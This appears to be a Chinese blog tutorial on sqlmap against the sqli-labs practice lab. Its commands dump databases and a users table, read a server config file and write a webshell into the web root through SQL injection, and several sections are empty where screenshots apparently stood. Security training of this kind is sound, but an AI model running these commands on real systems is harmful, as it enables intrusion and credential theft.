实战篇——SQL注入sqli-labs-master靶场实战三
实战篇——SQL注入sqli-labs-master靶场实战(3)
sqlmap基础用法
GET型:


POST型:




请求头注入(以User-Agent注入为例):



爆库:
python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --threads 10 --dbs

爆表:
python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --threads 10 -D pikachu --tables

爆字段:
python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --threads 10 -D pikachu -T users --columns

爆数据:
python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --threads 10 -D pikachu -T users --dump

读取文件:
python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --file-read C:\phpStudy\PHPTutorial\Apache\conf\httpd.conf

写入文件:
python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --file-write C:\Users\yaogu\Desktop\webshell.php --file-dest C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-11\webshell.php
在操作过程中发现写入失败:

经过检查,确认当前用户是DBA并且secure_file_priv=/,但依然无法写入。真正的原因在于此注入点是插入型而非查询型,由于子查询不能通过into outfile导出文件,因此虽然可以读取文件但是无法写入文件。
所以想要写入文件必须更换注入点:
python sqlmap.py -u http://192.168.118.142/sqli-labs-master/Less-1/?id=1 --file-write C:\Users\yaogu\Desktop\webshell.php --file-dest C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-11\webshell.php
写入成功:


浙公网安备 33010602011771号